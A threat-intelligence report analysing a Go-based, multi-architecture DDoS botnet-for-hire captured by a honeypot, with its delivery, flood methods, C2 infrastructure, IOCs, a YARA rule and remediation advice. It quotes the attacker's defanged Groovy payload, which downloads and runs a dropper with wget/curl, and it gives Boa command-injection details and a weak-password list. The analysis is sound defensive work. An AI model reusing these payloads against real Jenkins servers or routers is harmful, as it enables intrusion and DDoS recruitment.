A Cross-Platform Go DDoS Botnet-for-Hire

TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.

Executive summary

• 13architecture builds, 11 unique binaries
• 5named DDoS methods, plus a for-hire API
• 3coordinated source IPs in one /22
• 2botnet families on one host

bot.exe is the Windows x86-64 build of a Go-compiled DDoS botnet distributed as a multi-architecture dropper suite. A companion shell script, bins.sh, retrieves thirteen architecture builds, eleven unique after de-duplication, covering 32- and 64-bit x86, four ARM profiles, ARM64, Android ARM64, and big- and little-endian MIPS, alongside the Windows binary. The suite reached the honeypot network through exploitation of an exposed Jenkins server.

The malware embeds five named flood methods (HTTP, TLS handshake, ICMP, direct TLS, and a volumetric method labelled VOULT), an HTTP flood that rotates browser User-Agent strings and locale headers to resemble legitimate traffic, and command-injection payloads targeting the Boa webserver on RealTek SDK devices for self-propagation. Reconnaissance of the staging host at 185.226.93[.]242 identified an authenticated DDoS-for-hire API on port 3333, a Go-implemented SSH service on port 2222 serving as the command channel, and an anonymous FTP service staging a second botnet family of Mirai/Gafgyt lineage.

Kinryū Labs assesses with high confidence that bot.exe is part of a malicious, self-propagating, multi-architecture DDoS botnet run as a commercial for-hire service. Three findings carry the assessment: the binary’s own attack-method and exploitation strings; a live for-hire API on the operator’s staging host that validates job parameters and requires authentication; and honeypot telemetry of a sustained, multi-node campaign delivering the suite.

Delivery: a sustained Jenkins Script Console campaign

The suite was delivered by exploitation of an internet-exposed Jenkins instance. Honeypot telemetry recorded a consistent two-step method: a GET /crumbIssuer/api/json to retrieve the CSRF token, followed by a POST /script carrying a Groovy Script Console payload. The payload was identical across attempts and is defanged here:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

Requests carried an Authorization: Basic header cycling a short dictionary of weak numeric passwords for the admin account (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), the signature of an automated credential list rather than targeted authentication.

The campaign ran over several days in repeated waves:

• Wave 1First probes: CSRF-crumb check followed by Groovy RCE, from the staging IP and a second address in the same block.
• Capturebins.sh and all thirteen variants recovered at two sensors roughly fourteen hours apart, byte-identical at both.
• Later wavesParallel exploitation from all three source IPs within minutes of each other, with rotated User-Agents.

The exploitation requests rotated a large set of realistic browser User-Agents, while the reconnaissance sweep looking for further Jenkins targets (a /login fetch followed by a rapid burst of /script requests) used the default Go-http-client/1.1. Spoofed User-Agents ride the exploitation payloads; the scanner uses the botnet’s native Go client. The staging and C2 host itself took part in the exploitation, so attack and hosting infrastructure are not separated.

The malware: one Go codebase, eleven binaries

Writing the bot in Go lets one codebase cross-compile to every target the operator wants. The dropper walks the full product line, fetching each build with wget and again with curl as a fallback, marking it executable, running it, and deleting it. The suite includes a Windows .exe, which the Linux dropper still passes through chmod +x, and the script’s generated structure points to a build-and-list pipeline. After de-duplication the thirteen builds reduce to eleven unique binaries: the x86 and i386 builds match, as do the generic ARM and ARMv7 builds. The architecture spread, from MIPS and legacy ARM through Android, marks a botnet aimed at routers, cameras, and other embedded devices; the Windows build carries the same code to desktops and servers.

The binary is not packed (PE section entropies fall between 5.4 and 6.3) and not stripped (the Go build ID and runtime symbols are intact), so its capabilities sit in plain strings. The compile timestamp is zeroed, which is normal for Go builds.

Five flood methods are named in the binary’s log strings, each formatted with a target and a duration: an “HTTP (Optimized)” flood, a TLS/TCP “Handshake” exhaustion flood, an ICMP “PING” flood, a direct “TLS+” session flood, and a “VOULT” method, volumetric and likely UDP-based. Both application-layer and network-layer options are present.

The HTTP flood is built to pass as legitimate traffic. It rotates more than ten browser User-Agent strings across Chrome, Edge, Opera, Firefox, and Safari on Windows, macOS, iPad, and Android; fifteen Accept-Language locales; and the sec-fetch-* and sec-ch-ua-* fingerprint headers that mitigation services inspect. It sets a Referer from a small set of high-reputation sites (google.com, reddit.com, facebook.com, bing.com, twitter.com, and fbi.gov). One entry in the User-Agent set is the literal string Hello World, a developer placeholder that makes a clean detection signature because no legitimate client sends it.

Propagation targets the Boa webserver, a small embedded HTTP daemon still shipped on many RealTek SDK routers and cameras. The binary carries a command-injection payload against Boa’s formSysCmd handler and a login brute-force path against router admin interfaces, with JSON credential fields and the exported functions loginDevice and loginDeviceCaptcha. The injected command is the dropper one-liner, so a compromised device becomes the delivery point for the next.

The vendored Go modules are all standard golang.org/x packages, with no third-party C2 framework linked. They include chacha20poly1305, http2/hpack, dns/dnsmessage, and http/httpproxy, matching the observable capabilities: an authenticated-encrypted channel, HTTP/2, raw DNS, and SOCKS5 proxying (the strings socks5, socks connect, and socksUsernamePassword are present). C2 configuration is retrieved at runtime from hxxp://<C2>/config.dat; the single hard-coded address in the binary is the staging host.

Command-and-control and staging infrastructure

Reconnaissance of the staging host identified the following services:

Port	Service	Purpose
21/tcp	vsftpd 3.0.3, anonymous login enabled	Malware staging (second family, below)
22/tcp	OpenSSH 9.2p1 (Debian)	Operator access
1001/tcp	Go net/http server	Primary staging: serves bins.sh and the variants
2222/tcp	Go SSH (SSH-2.0-Go)	Bot command channel
3333/tcp	Go net/http server	DDoS-for-hire API

Two findings support the for-hire assessment. The delivery IP and the staging host present identical ED25519, RSA, and ECDSA SSH host keys, placing them on the same machine or on images cloned from one template, and the port-2222 Go SSH service presents a distinct key from the system OpenSSH on port 22, marking it a separate application rather than a forward. The port-3333 API rejects a request for missing parameters (user, psw, host, method, time/duration, port) and returns an authentication failure for test credentials, with all other paths returning 404. This is the minimal, per-request-authenticated interface of a commercial booter, running on live infrastructure.

A second family on the same host

The anonymous FTP service stages a separate botnet family, referred to here as “boatnet” after its filenames. Its dropper (ohshit1.sh) uses the BusyBox ftpget client, renames each binary to WTF before execution, and launches builds in the background across fifteen architectures, including exotic embedded targets (ARC, m68k, SH4, SPARC) of the Mirai/Gafgyt lineage. The binaries are C-compiled ELF, stripped, and packed (entropy 7.6 to 7.9 with no UPX magic, indicating a custom packer), so little survives static review. The boatnet artefacts predate the bot.exe suite and run an unrelated codebase, so one host is staging two distinct botnet families.

Hosting

Both attacker IPs fall in 185.226.92[.]0/22, registered to a Turkey-based VPS provider (network name BIGCORE-US, AS205196 / AS57152) through RIPE NCC, with abuse contact [email protected]. We identify the hosting provider for reporting purposes and make no claim about the identity of the operator.

Indicators of compromise

Attacker infrastructure is defanged. Sample hashes and detection strings carry live values by design.

Network

Indicator	Context
185.226.93[.]242	Staging + C2 host; also an active scanner
185.226.92[.]110	Primary scanner / delivery node
185.226.92[.]173	Secondary scanner
185.226.92[.]0/22	Hosting allocation (BIGCORE, AS205196). Reasonable perimeter block
185.226.93[.]242:1001	HTTP staging (bins.sh + variants)
185.226.93[.]242:2222	Go SSH command channel
185.226.93[.]242:3333	DDoS-for-hire API (/api, parameter-gated)
185.226.93[.]242:21	Anonymous FTP, boatnet staging
hxxp://<C2>/config.dat	Runtime C2 config retrieval pattern
/boafrm/formSysCmd, /boafrm/formLogin	Boa RCE and login-brute URIs in outbound propagation
SSH host key (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…	Shared across the delivery and C2 IPs; pivot indicator

Files

File	SHA-256
bot.exe (Windows x64)	4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (dropper)	15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)	6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)	920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d

• bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
• Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK

Full dropper suite hashes (11 unique across 13 builds)

Build	SHA-256	Size (bytes)
amd64	3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70	5,919,119
x86 / i386	575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398	5,787,832
arm / armv7l	9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10	5,898,424
arm5	365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582	5,898,424
arm6	34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f	5,898,424
arm64	ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b	5,579,151
android_arm64	7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf	6,169,144
mips	9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5	6,619,351
mipsle	14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7	6,619,351
bot.exe	4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804	6,020,608

Host and credential artefacts

• Jenkins admin brute-force dictionary: 1123, 123451, 1231231, 1111111, 12345123.
• ohshit1.sh (boatnet dropper) and a binary renamed to WTF before execution.
• Distinctive User-Agents: Hello World (bot HTTP flood) and Go-http-client/1.1 (bot self-scan).

Behavioural

• Jenkins GET /crumbIssuer/api/json followed by POST /script carrying a Groovy ProcessBuilder('sh','-c', …) payload that fetches bins.sh.
• Outbound requests to a host under /config.dat, preceded by a Connecting to CNC... log line.
• Inbound POST /boafrm/formSysCmd with sysCmdselect=5 and a wget … bins.sh body.

Detection

The strings are stable and unobfuscated, so signatures are straightforward. The YARA rule below is a candidate built from verified strings; validate before deployment.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

Network detection:

• Jenkins: alert on POST /script bodies containing ProcessBuilder with wget/curl to a raw IP, particularly preceded by GET /crumbIssuer/api/json.
• IoT propagation: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
• Infrastructure: block 185.226.92[.]0/22, which covers the delivery and C2 addresses, and alert on outbound connections to ports 1001, 2222, and 3333 in that range.

Remediation

• Do not expose Jenkins to the internet. Place it behind authentication and network isolation, disable the Script Console for non-administrators, and treat a reachable build server as a full-host compromise risk. This was the delivery vector.
• Enforce strong Jenkins credentials and rate-limit authentication. The campaign relied on a short dictionary of weak numeric passwords for admin.
• Segment or replace RealTek/Boa-based routers and IoT devices, and block external access to their admin interfaces. These are the botnet’s propagation target.
• Block the hosting allocation (185.226.92[.]0/22) at the perimeter and alert on the Boa RCE URI and the config.dat retrieval pattern.
• Filter egress. A host reaching a raw IP on port 1001 to pull architecture-named files, or connecting to ports 2222 or 3333 in that range, is anomalous and catchable where host detection is absent.
• Report the infrastructure. The DDoS-for-hire API and the FTP-staged malware can be reported to the hosting provider’s abuse contact ([email protected]).

MITRE ATT&CK mapping

Tactic	Technique
Initial Access	T1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd for propagation)
Credential Access	T1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (IoT login)
Execution	T1059 Command and Scripting Interpreter (Groovy via Script Console; Unix shell dropper)
Discovery	T1046 Network Service Scanning (Jenkins/IoT self-scan); T1082 System Information Discovery; T1057 Process Discovery
Defense Evasion	T1036 Masquerading (browser User-Agent rotation; boatnet WTF rename)
Command and Control	T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH on 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
Lateral Movement / Delivery	T1105 Ingress Tool Transfer (multi-architecture staging)
Impact	T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (handshake exhaustion)

Methodology and notes

• Scope: static analysis of the captured binaries, which were not executed, and active external reconnaissance of the staging host (service and banner enumeration, anonymous FTP listing, and unauthenticated probing of the port-3333 API). No authentication was bypassed.
• The YARA rule is a candidate built from verified strings; validate before deployment. The boatnet binaries are packed and yielded few strings.
• Samples (the bot.exe suite, the dropper, and the boatnet artefacts) are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.